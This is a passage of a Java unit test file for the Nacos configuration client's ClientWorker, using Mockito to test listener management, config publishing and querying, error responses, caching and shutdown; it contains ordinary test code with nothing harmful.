localConfigInfoProcessorMockedStatic = Mockito.mockStatic(LocalConfigInfoProcessor.class);\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.NAMESPACE, TEST_NAMESPACE);\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(properties);\n        ConfigServerListManager serverListManager = mock(ConfigServerListManager.class);\n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        try {\n            clientWorker = new ClientWorker(filter, serverListManager, nacosClientProperties);\n        } catch (NacosException e) {\n            throw new RuntimeException(e);\n        }\n        clientWorkerSpy = Mockito.spy(clientWorker);\n    }\n    \n    @AfterEach\n    void after() {\n        rpcClientFactoryMockedStatic.close();\n        localConfigInfoProcessorMockedStatic.close();\n    }\n    \n    @Test\n    void testConstruct() throws NacosException {\n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        assertNotNull(clientWorker);\n    }\n    \n    @Test\n    void testAddListenerWithoutTenant() throws NacosException {\n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        String dataId = \"a\";\n        String group = \"b\";\n        \n        Listener listener = new AbstractListener() {\n            @Override\n            public void receiveConfigInfo(String configInfo) {\n            }\n        };\n        \n        clientWorker.addListeners(dataId, group, Collections.singletonList(listener));\n        List<Listener> listeners = clientWorker.getCache(dataId, group).getListeners();\n        assertEquals(1, listeners.size());\n        assertEquals(listener, listeners.get(0));\n        \n        clientWorker.removeListener(dataId, group, listener);\n        listeners = clientWorker.getCache(dataId, group).getListeners();\n        assertEquals(0, listeners.size());\n        \n        CacheData cacheData = clientWorker.addCacheDataIfAbsent(dataId, group);\n        assertEquals(cacheData, clientWorker.getCache(dataId, group));\n    }\n    \n    @Test\n    void testListenerWithTenant() throws NacosException {\n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        \n        Listener listener = new AbstractListener() {\n            @Override\n            public void receiveConfigInfo(String configInfo) {\n            }\n        };\n        \n        String dataId = \"a\";\n        String group = \"b\";\n        \n        clientWorker.addTenantListeners(dataId, group, Collections.singletonList(listener));\n        List<Listener> listeners = clientWorker.getCache(dataId, group).getListeners();\n        assertEquals(1, listeners.size());\n        assertEquals(listener, listeners.get(0));\n        \n        clientWorker.removeTenantListener(dataId, group, listener);\n        listeners = clientWorker.getCache(dataId, group).getListeners();\n        assertEquals(0, listeners.size());\n        \n        String content = \"d\";\n        clientWorker.addTenantListenersWithContent(dataId, group, content, null, Collections.singletonList(listener));\n        listeners = clientWorker.getCache(dataId, group).getListeners();\n        assertEquals(1, listeners.size());\n        assertEquals(listener, listeners.get(0));\n        \n        clientWorker.removeTenantListener(dataId, group, listener);\n        listeners = clientWorker.getCache(dataId, group).getListeners();\n        assertEquals(0, listeners.size());\n        \n        String tenant = \"c\";\n        CacheData cacheData = clientWorker.addCacheDataIfAbsent(dataId, group, tenant);\n        assertEquals(cacheData, clientWorker.getCache(dataId, group, tenant));\n        \n        clientWorker.removeCache(dataId, group, tenant);\n        assertNull(clientWorker.getCache(dataId, group, tenant));\n        \n    }\n    \n    @Test\n    void testPublishConfigSuccess() throws NacosException {\n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        \n        String dataId = \"a\";\n        String group = \"b\";\n        String tenant = \"c\";\n        String content = \"d\";\n        \n        String appName = \"app\";\n        String tag = \"tag\";\n        \n        String betaIps = \"1.1.1.1\";\n        String casMd5 = \"1111\";\n        \n        String type = \"properties\";\n        Mockito.when(rpcClient.request(any(ConfigPublishRequest.class))).thenReturn(new ConfigPublishResponse());\n        boolean b = clientWorker.publishConfig(dataId, group, tenant, appName, tag, betaIps, content, null, casMd5,\n                type);\n        assertTrue(b);\n    }\n    \n    @Test\n    void testPublishConfigFail() throws NacosException {\n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        \n        String dataId = \"a\";\n        String group = \"b\";\n        String tenant = \"c\";\n        String content = \"d\";\n        \n        String appName = \"app\";\n        String tag = \"tag\";\n        \n        String betaIps = \"1.1.1.1\";\n        String casMd5 = \"1111\";\n        \n        String type = \"properties\";\n        Mockito.when(rpcClient.request(any(ConfigPublishRequest.class)))\n                .thenReturn(ConfigPublishResponse.buildFailResponse(503, \"over limit\"));\n        boolean b = clientWorker.publishConfig(dataId, group, tenant, appName, tag, betaIps, content, null, casMd5,\n                type);\n        assertFalse(b);\n        \n    }\n    \n    @Test\n    void testPublishConfigException() throws NacosException {\n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        \n        String dataId = \"a\";\n        String group = \"b\";\n        String tenant = \"c\";\n        String content = \"d\";\n        \n        String appName = \"app\";\n        String tag = \"tag\";\n        \n        String betaIps = \"1.1.1.1\";\n        String casMd5 = \"1111\";\n        \n        String type = \"properties\";\n        Mockito.when(rpcClient.request(any(ConfigPublishRequest.class))).thenThrow(new NacosException());\n        boolean b = clientWorker.publishConfig(dataId, group, tenant, appName, tag, betaIps, content, null, casMd5,\n                type);\n        assertFalse(b);\n        \n    }\n    \n    @Test\n    void testRemoveConfig() throws NacosException {\n        \n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        \n        String dataId = \"a\";\n        String group = \"b\";\n        String tenant = \"c\";\n        \n        String tag = \"tag\";\n        try {\n            Mockito.when(rpcClient.request(any(ConfigRemoveRequest.class)))\n                    .thenThrow(new NacosException(503, \"overlimit\"));\n            \n            clientWorker.removeConfig(dataId, group, tenant, tag);\n            fail();\n        } catch (NacosException e) {\n            assertEquals(\"overlimit\", e.getErrMsg());\n            assertEquals(503, e.getErrCode());\n            \n        }\n    }\n    \n    @Test\n    void testGeConfigConfigSuccess() throws NacosException {\n        \n        Properties prop = new Properties();\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(null, agent, nacosClientProperties);\n        \n        String dataId = \"a\";\n        String group = \"b\";\n        String tenant = \"c\";\n        String content = \"content\" + System.currentTimeMillis();\n        \n        Mockito.when(rpcClient.request(any(ConfigQueryRequest.class), anyLong()))\n                .thenReturn(ConfigQueryResponse.buildSuccessResponse(content));\n        \n        ConfigResponse configResponse = clientWorker.getServerConfig(dataId, group, tenant, 100, true);\n        assertEquals(content, configResponse.getContent());\n        localConfigInfoProcessorMockedStatic.verify(\n                () -> LocalConfigInfoProcessor.saveSnapshot(eq(clientWorker.getAgentName()), eq(dataId), eq(group),\n                        eq(tenant), eq(content)), times(1));\n    }\n    \n    @Test\n    void testHandleConfigChangeReqeust() throws Exception {\n        \n        Properties prop = new Properties();\n        String tenant = \"c\";\n        \n        prop.put(NAMESPACE, tenant);\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(null, agent, nacosClientProperties);\n        \n        AtomicReference<Map<String, CacheData>> cacheMapMocked = Mockito.mock(AtomicReference.class);\n        Field cacheMap = ClientWorker.class.getDeclaredField(\"cacheMap\");\n        cacheMap.setAccessible(true);\n        cacheMap.set(clientWorker, cacheMapMocked);\n        Map<String, CacheData> cacheDataMapMocked = Mockito.mock(Map.class);\n        Mockito.when(cacheMapMocked.get()).thenReturn(cacheDataMapMocked);\n        CacheData cacheDataMocked = Mockito.mock(CacheData.class);\n        AtomicBoolean atomicBoolean = Mockito.mock(AtomicBoolean.class);\n        Mockito.when(cacheDataMocked.getReceiveNotifyChanged()).thenReturn(atomicBoolean);\n        String dataId = \"a\";\n        String group = \"b\";\n        Mockito.when(cacheDataMapMocked.get(GroupKey.getKeyTenant(dataId, group, tenant))).thenReturn(cacheDataMocked);\n        ConfigChangeNotifyRequest configChangeNotifyRequest = ConfigChangeNotifyRequest.build(dataId, group, tenant);\n        ((ClientWorker.ConfigRpcTransportClient) clientWorker.getAgent()).handleConfigChangeNotifyRequest(\n                configChangeNotifyRequest, \"testname\");\n        Mockito.verify(cacheDataMocked, times(1)).setConsistentWithServer(false);\n        Mockito.verify(atomicBoolean, times(1)).set(true);\n    }\n    \n    @Test\n    void testHandleClientMetricsReqeust() throws Exception {\n        \n        Properties prop = new Properties();\n        String tenant = \"c\";\n        \n        prop.put(NAMESPACE, tenant);\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(null, agent, nacosClientProperties);\n        \n        AtomicReference<Map<String, CacheData>> cacheMapMocked = Mockito.mock(AtomicReference.class);\n        Field cacheMap = ClientWorker.class.getDeclaredField(\"cacheMap\");\n        cacheMap.setAccessible(true);\n        cacheMap.set(clientWorker, cacheMapMocked);\n        Map<String, CacheData> cacheDataMapMocked = Mockito.mock(Map.class);\n        Mockito.when(cacheMapMocked.get()).thenReturn(cacheDataMapMocked);\n        CacheData cacheDataMocked = Mockito.mock(CacheData.class);\n        String content = \"content1324567\";\n        String md5 = MD5Utils.md5Hex(content, \"UTF-8\");\n        Mockito.when(cacheDataMocked.getContent()).thenReturn(content);\n        Mockito.when(cacheDataMocked.getMd5()).thenReturn(md5);\n        Field uuid1 = ClientWorker.class.getDeclaredField(\"uuid\");\n        uuid1.setAccessible(true);\n        String uuid = (String) uuid1.get(clientWorker);\n        String dataId = \"a23456789\";\n        String group = \"b\";\n        Mockito.when(cacheDataMapMocked.get(GroupKey.getKeyTenant(dataId, group, tenant))).thenReturn(cacheDataMocked);\n        ClientConfigMetricRequest configMetricsRequest = new ClientConfigMetricRequest();\n        \n        configMetricsRequest.setMetricsKeys(Arrays.asList(\n                ClientConfigMetricRequest.MetricsKey.build(ClientConfigMetricRequest.MetricsKey.CACHE_DATA,\n                        GroupKey.getKeyTenant(dataId, group, tenant)),\n                ClientConfigMetricRequest.MetricsKey.build(ClientConfigMetricRequest.MetricsKey.SNAPSHOT_DATA,\n                        GroupKey.getKeyTenant(dataId, group, tenant))));\n        \n        ClientConfigMetricResponse metricResponse = ((ClientWorker.ConfigRpcTransportClient) clientWorker.getAgent()).handleClientMetricsRequest(\n                configMetricsRequest);\n        JsonNode jsonNode = JacksonUtils.toObj(metricResponse.getMetrics().get(uuid).toString());\n        String metricValues = jsonNode.get(\"metricValues\")\n                .get(ClientConfigMetricRequest.MetricsKey.build(ClientConfigMetricRequest.MetricsKey.CACHE_DATA,\n                        GroupKey.getKeyTenant(dataId, group, tenant)).toString()).textValue();\n        \n        int colonIndex = metricValues.lastIndexOf(\":\");\n        assertEquals(content, metricValues.substring(0, colonIndex));\n        assertEquals(md5, metricValues.substring(colonIndex + 1, metricValues.length()));\n        \n    }\n    \n    @Test\n    void testGeConfigConfigNotFound() throws NacosException {\n        \n        Properties prop = new Properties();\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(null, agent, nacosClientProperties);\n        \n        String dataId = \"a\";\n        String group = \"b\";\n        String tenant = \"c\";\n        ConfigQueryResponse configQueryResponse = new ConfigQueryResponse();\n        configQueryResponse.setErrorInfo(ConfigQueryResponse.CONFIG_NOT_FOUND, \"config not found\");\n        Mockito.when(rpcClient.request(any(ConfigQueryRequest.class), anyLong())).thenReturn(configQueryResponse);\n        \n        ConfigResponse configResponse = clientWorker.getServerConfig(dataId, group, tenant, 100, true);\n        assertNull(configResponse.getContent());\n        localConfigInfoProcessorMockedStatic.verify(\n                () -> LocalConfigInfoProcessor.saveSnapshot(eq(clientWorker.getAgentName()), eq(dataId), eq(group),\n                        eq(tenant), eq(null)), times(1));\n        \n    }\n    \n    @Test\n    void testGeConfigConfigConflict() throws NacosException {\n        \n        Properties prop = new Properties();\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(null, agent, nacosClientProperties);\n        \n        String dataId = \"a\";\n        String group = \"b\";\n        String tenant = \"c\";\n        ConfigQueryResponse configQueryResponse = new ConfigQueryResponse();\n        configQueryResponse.setErrorInfo(ConfigQueryResponse.CONFIG_QUERY_CONFLICT, \"config is being modified\");\n        Mockito.when(rpcClient.request(any(ConfigQueryRequest.class), anyLong())).thenReturn(configQueryResponse);\n        \n        try {\n            clientWorker.getServerConfig(dataId, group, tenant, 100, true);\n            fail();\n        } catch (NacosException e) {\n            assertEquals(NacosException.CONFLICT, e.getErrCode());\n        }\n    }\n    \n    @Test\n    void testShutdown() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        clientWorker.shutdown();\n        Field agent1 = ClientWorker.class.getDeclaredField(\"agent\");\n        agent1.setAccessible(true);\n        ConfigTransportClient o = (ConfigTransportClient) agent1.get(clientWorker);\n        assertTrue(o.getExecutor().isShutdown());\n        agent1.setAccessible(false);\n        \n        assertNull(clientWorker.getAgentName());\n    }\n    \n    @Test\n    void testExecuteConfigListen() throws Exception {\n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        Mockito.when(agent.getName()).thenReturn(\"mocktest\");\n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        clientWorker.shutdown();\n        \n        List<CacheData> cacheDatas = new ArrayList<>();\n        String group = \"group123\";\n        String tenant = \"tenant122324\";\n        //mock discards cache\n        String dataIdDiscard = \"dataIdDiscard\" + System.currentTimeMillis();\n        \n        CacheData cacheDataDiscard = discardCache(filter, agent.getName(), dataIdDiscard, group, tenant);\n        cacheDatas.add(cacheDataDiscard);\n        //mock use local cache\n        String dataIdUseLocalCache = \"dataIdUseLocalCache\" + System.currentTimeMillis();\n        CacheData cacheUseLocalCache = useLocalCache(filter, agent.getName(), dataIdUseLocalCache, group, tenant,\n                \"content\" + System.currentTimeMillis());\n        assertFalse(cacheUseLocalCache.isUseLocalConfigInfo());\n        \n        cacheDatas.add(cacheUseLocalCache);\n        \n        //mock normal cache\n        String dataIdNormal = \"dataIdNormal\" + System.currentTimeMillis();\n        CacheData cacheNormal = normalNotConsistentCache(filter, agent.getName(), dataIdNormal, group, tenant);\n        AtomicReference<String> normalContent = new AtomicReference<>();\n        cacheNormal.addListener(new Listener() {\n            @Override\n            public Executor getExecutor() {\n                return null;\n            }\n            \n            @Override\n            public void receiveConfigInfo(String configInfo) {\n                System.out.println(configInfo);\n                normalContent.set(configInfo);\n            }\n        });\n        cacheDatas.add(cacheNormal);\n        cacheNormal.setInitializing(false);\n        Map<String, CacheData> cacheDataMapMocked = Mockito.mock(Map.class);\n        Mockito.when(cacheDataMapMocked.get(GroupKey.getKeyTenant(dataIdNormal, group, tenant)))\n                .thenReturn(cacheNormal);\n        Mockito.when(cacheDataMapMocked.containsKey(GroupKey.getKeyTenant(dataIdNormal, group, tenant)))\n                .thenReturn(true);\n        \n        Mockito.when(cacheDataMapMocked.values()).thenReturn(cacheDatas);\n        AtomicReference<Map<String, CacheData>> cacheMapMocked = Mockito.mock(AtomicReference.class);\n        Mockito.when(cacheMapMocked.get()).thenReturn(cacheDataMapMocked);\n        Field cacheMap = ClientWorker.class.getDeclaredField(\"cacheMap\");\n        cacheMap.setAccessible(true);\n        cacheMap.set(clientWorker, cacheMapMocked);\n        \n        //mock request\n        ConfigChangeBatchListenResponse.ConfigContext configContext = new ConfigChangeBatchListenResponse.ConfigContext();\n        configContext.setDataId(dataIdNormal);\n        configContext.setGroup(group);\n        configContext.setTenant(tenant);\n        ConfigChangeBatchListenResponse response = new ConfigChangeBatchListenResponse();\n        response.setChangedConfigs(Collections.singletonList(configContext));\n        \n        RpcClient rpcClientInner = Mockito.mock(RpcClient.class);\n        Mockito.when(rpcClientInner.isWaitInitiated()).thenReturn(true, false);\n        rpcClientFactoryMockedStatic.when(() -> RpcClientFactory.createClient(anyString(), any(ConnectionType.class),\n                any(GrpcClientConfig.class))).thenReturn(rpcClientInner);\n        // mock listen and remove listen request\n        Mockito.when(rpcClientInner.request(any(ConfigBatchListenRequest.class))).thenReturn(response, response);\n        // mock query changed config\n        ConfigQueryResponse configQueryResponse = new ConfigQueryResponse();\n        configQueryResponse.setContent(\"content\" + System.currentTimeMillis());\n        configQueryResponse.setContentType(ConfigType.JSON.getType());\n        Mockito.when(rpcClientInner.request(any(ConfigQueryRequest.class))).thenReturn(configQueryResponse);\n        (clientWorker.getAgent()).executeConfigListen();\n        //assert\n        //use local cache.\n        assertTrue(cacheUseLocalCache.isUseLocalConfigInfo());\n        //discard cache to be deleted.\n        assertFalse(cacheMapMocked.get().containsKey(GroupKey.getKeyTenant(dataIdDiscard, group, tenant)));\n        //normal cache listener be notified.\n        assertEquals(configQueryResponse.getContent(), normalContent.get());\n        \n    }\n    \n    private CacheData discardCache(ConfigFilterChainManager filter, String envName, String dataId, String group,\n            String tenant) {\n        CacheData cacheData = new CacheData(filter, envName, dataId, group, tenant);\n        cacheData.setDiscard(true);\n        cacheData.setConsistentWithServer(false);\n        File file = Mockito.mock(File.class);\n        Mockito.when(file.exists()).thenReturn(false);\n        localConfigInfoProcessorMockedStatic.when(\n                () -> LocalConfigInfoProcessor.getFailoverFile(envName, dataId, group, tenant)).thenReturn(file);\n        return cacheData;\n    }\n    \n    private CacheData normalNotConsistentCache(ConfigFilterChainManager filter, String envName, String dataId,\n            String group, String tenant) throws NacosException {\n        CacheData cacheData = new CacheData(filter, envName, dataId, group, tenant);\n        cacheData.setDiscard(false);\n        cacheData.setConsistentWithServer(false);\n        File file = Mockito.mock(File.class);\n        Mockito.when(file.exists()).thenReturn(false);\n        localConfigInfoProcessorMockedStatic.when(\n                () -> LocalConfigInfoProcessor.getFailoverFile(envName, dataId, group, tenant)).thenReturn(file);\n        return cacheData;\n    }\n    \n    private CacheData useLocalCache(ConfigFilterChainManager filter, String envName, String dataId, String group,\n            String tenant, String failOverContent) {\n        CacheData cacheData = new CacheData(filter, envName, dataId, group, tenant);\n        cacheData.setDiscard(true);\n        File file = Mockito.mock(File.class);\n        Mockito.when(file.exists()).thenReturn(true);\n        localConfigInfoProcessorMockedStatic.when(\n                () -> LocalConfigInfoProcessor.getFailoverFile(envName, dataId, group, tenant)).thenReturn(file);\n        localConfigInfoProcessorMockedStatic.when(\n                () -> LocalConfigInfoProcessor.getFailover(envName, dataId, group, tenant)).thenReturn(failOverContent);\n        return cacheData;\n    }\n    \n    @Test\n    void testIsHealthServer() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        ClientWorker.ConfigRpcTransportClient client = Mockito.mock(ClientWorker.ConfigRpcTransportClient.class);\n        Mockito.when(client.isHealthServer()).thenReturn(Boolean.TRUE);\n        \n        Field declaredField = ClientWorker.class.getDeclaredField(\"agent\");\n        declaredField.setAccessible(true);\n        declaredField.set(clientWorker, client);\n        \n        assertTrue(clientWorker.isHealthServer());\n        \n        Mockito.when(client.isHealthServer()).thenReturn(Boolean.FALSE);\n        assertFalse(clientWorker.isHealthServer());\n    }\n    \n    @Test\n    void testPutCache() throws Exception {\n        // 反射调用私有方法putCacheIfAbsent\n        Method putCacheMethod = ClientWorker.class.getDeclaredMethod(\"putCache\", String.class, CacheData.class);\n        putCacheMethod.setAccessible(true);\n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        String key = \"testKey\";\n        CacheData cacheData = new CacheData(filter, \"env\", \"dataId\", \"group\");\n        putCacheMethod.invoke(clientWorker, key, cacheData);\n        Field cacheMapField = ClientWorker.class.getDeclaredField(\"cacheMap\");\n        cacheMapField.setAccessible(true);\n        AtomicReference<Map<String, CacheData>> cacheMapRef = (AtomicReference<Map<String, CacheData>>) cacheMapField.get(\n                clientWorker);\n        // 检查cacheMap是否包含特定的key\n        assertNotNull(cacheMapRef.get().get(key));\n        assertEquals(cacheData, cacheMapRef.get().get(key));\n        // 测试再次插入相同的key将覆盖原始的值\n        CacheData newCacheData = new CacheData(filter, \"newEnv\", \"newDataId\", \"newGroup\");\n        putCacheMethod.invoke(clientWorker, key, newCacheData);\n        // 检查key对应的value是否改变为newCacheData\n        assertEquals(newCacheData, cacheMapRef.get().get(key));\n    }\n    \n    @Test\n    void testAddListenersEnsureCacheDataSafe() throws NacosException, IllegalAccessException, NoSuchFieldException {\n        String dataId = \"testDataId\";\n        String group = \"testGroup\";\n        // 将key-cacheData插入到cacheMap中\n        CacheData cacheData = new CacheData(null, \"env\", dataId, group);\n        Field cacheMapField = ClientWorker.class.getDeclaredField(\"cacheMap\");\n        cacheMapField.setAccessible(true);\n        AtomicReference<Map<String, CacheData>> cacheMapRef = (AtomicReference<Map<String, CacheData>>) cacheMapField.get(\n                clientWorker);\n        String key = GroupKey.getKey(dataId, group);\n        cacheMapRef.get().put(key, cacheData);\n        // 当addCacheDataIfAbsent得到的differentCacheData，同cacheMap中该key对应的cacheData不一致\n        CacheData differentCacheData = new CacheData(null, \"env\", dataId, group);\n        doReturn(differentCacheData).when(clientWorkerSpy).addCacheDataIfAbsent(anyString(), anyString());\n        // 使用addListeners将differentCacheData插入到cacheMap中\n        clientWorkerSpy.addListeners(dataId, group, Collections.EMPTY_LIST);\n        CacheData cacheDataFromCache1 = clientWorker.getCache(dataId, group);\n        assertNotNull(cacheDataFromCache1);\n        assertEquals(cacheDataFromCache1, differentCacheData);\n        assertFalse(cacheDataFromCache1.isDiscard());\n        assertFalse(cacheDataFromCache1.isConsistentWithServer());\n        // 再次调用addListeners，此时addCacheDataIfAbsent得到的cacheData同cacheMap中该key对应的cacheData一致，均为differentCacheData\n        clientWorkerSpy.addListeners(dataId, group, Collections.EMPTY_LIST);\n        CacheData cacheDataFromCache2 = clientWorker.getCache(dataId, group);\n        assertNotNull(cacheDataFromCache2);\n        assertEquals(cacheDataFromCache2, differentCacheData);\n        assertFalse(cacheDataFromCache2.isDiscard());\n        assertFalse(cacheDataFromCache2.isConsistentWithServer());\n    }\n    \n    @Test\n    void testAddTenantListenersEnsureCacheDataSafe()\n            throws NacosException, IllegalAccessException, NoSuchFieldException {\n        String dataId = \"testDataId\";\n        String group = \"testGroup\";\n        // 将key-cacheData插入到cacheMap中\n        CacheData cacheData = new CacheData(null, \"env\", dataId, group);\n        Field cacheMapField = ClientWorker.class.getDeclaredField(\"cacheMap\");\n        cacheMapField.setAccessible(true);\n        AtomicReference<Map<String, CacheData>> cacheMapRef = (AtomicReference<Map<String, CacheData>>) cacheMapField.get(\n                clientWorker);\n        String key = GroupKey.getKeyTenant(dataId, group, TEST_NAMESPACE);\n        cacheMapRef.get().put(key, cacheData);\n        // 当addCacheDataIfAbsent得到的differentCacheData，同cacheMap中该key对应的cacheData不一致\n        CacheData differentCacheData = new CacheData(null, \"env\", dataId, group);\n        doReturn(differentCacheData).when(clientWorkerSpy)\n                .addCacheDataIfAbsent(anyString(), anyString(), eq(TEST_NAMESPACE));\n        // 使用addListeners将differentCacheData插入到cacheMap中\n        clientWorkerSpy.addTenantListeners(dataId, group, Collections.EMPTY_LIST);\n        CacheData cacheDataFromCache1 = clientWorker.getCache(dataId, group, TEST_NAMESPACE);\n        assertNotNull(cacheDataFromCache1);\n        assertEquals(cacheDataFromCache1, differentCacheData);\n        assertFalse(cacheDataFromCache1.isDiscard());\n        assertFalse(cacheDataFromCache1.isConsistentWithServer());\n        // 再次调用addListeners，此时addCacheDataIfAbsent得到的cacheData同cacheMap中该key对应的cacheData一致，均为differentCacheData\n        clientWorkerSpy.addTenantListeners(dataId, group, Collections.EMPTY_LIST);\n        CacheData cacheDataFromCache2 = clientWorker.getCache(dataId, group, TEST_NAMESPACE);\n        assertNotNull(cacheDataFromCache2);\n        assertEquals(cacheDataFromCache2, differentCacheData);\n        assertFalse(cacheDataFromCache2.isDiscard());\n        assertFalse(cacheDataFromCache2.isConsistentWithServer());\n    }\n    \n    @Test\n    void testAddTenantListenersWithContentEnsureCacheDataSafe()\n            throws NacosException, IllegalAccessException, NoSuchFieldException {\n        String dataId = \"testDataId\";\n        String group = \"testGroup\";\n        // 将key-cacheData插入到cacheMap中\n        CacheData cacheData = new CacheData(null, \"env\", dataId, group);\n        Field cacheMapField = ClientWorker.class.getDeclaredField(\"cacheMap\");\n        cacheMapField.setAccessible(true);\n        AtomicReference<Map<String, CacheData>> cacheMapRef = (AtomicReference<Map<String, CacheData>>) cacheMapField.get(\n                clientWorker);\n        String key = GroupKey.getKeyTenant(dataId, group, TEST_NAMESPACE);\n        cacheMapRef.get().put(key, cacheData);\n        // 当addCacheDataIfAbsent得到的differentCacheData，同cacheMap中该key对应的cacheData不一致\n        CacheData differentCacheData = new CacheData(null, \"env\", dataId, group);\n        doReturn(differentCacheData).when(clientWorkerSpy)\n                .addCacheDataIfAbsent(anyString(), anyString(), eq(TEST_NAMESPACE));\n        // 使用addListeners将differentCacheData插入到cacheMap中\n        clientWorkerSpy.addTenantListenersWithContent(dataId, group, \"\", \"\", Collections.EMPTY_LIST);\n        CacheData cacheDataFromCache1 = clientWorker.getCache(dataId, group, TEST_NAMESPACE);\n        assertNotNull(cacheDataFromCache1);\n        assertEquals(cacheDataFromCache1, differentCacheData);\n        assertFalse(cacheDataFromCache1.isDiscard());\n        assertFalse(cacheDataFromCache1.isConsistentWithServer());\n        // 再次调用addListeners，此时addCacheDataIfAbsent得到的cacheData同cacheMap中该key对应的cacheData一致，均为differentCacheData\n        clientWorkerSpy.addTenantListenersWithContent(dataId, group, \"\", \"\", Collections.EMPTY_LIST);\n        CacheData cacheDataFromCache2 = clientWorker.getCache(dataId, group, TEST_NAMESPACE);\n        assertNotNull(cacheDataFromCache2);\n        assertEquals(cacheDataFromCache2, differentCacheData);\n        assertFalse(cacheDataFromCache2.isDiscard());\n        assertFalse(cacheDataFromCache2.isConsistentWithServer());\n    }\n    \n    @Test\n    void testResponse403() throws NacosException {\n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = Mockito.mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        final ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        \n        ConfigRemoveResponse response = ConfigRemoveResponse.buildFailResponse(\"accessToken invalid\");\n        response.setErrorCode(ConfigQueryResponse.NO_RIGHT);\n        Mockito.when(rpcClient.request(any(ConfigRemoveRequest.class))).thenReturn(response);\n        boolean result = clientWorker.removeConfig(\"a\", \"b\", \"c\", \"tag\");\n        assertFalse(result);\n    }\n    \n    @Test\n    void testRemoveCacheWithMetricsEnabled() throws Exception {\n        String dataId = \"testDataId\";\n        String group = \"testGroup\";\n        String tenant = \"testTenant\";\n        \n 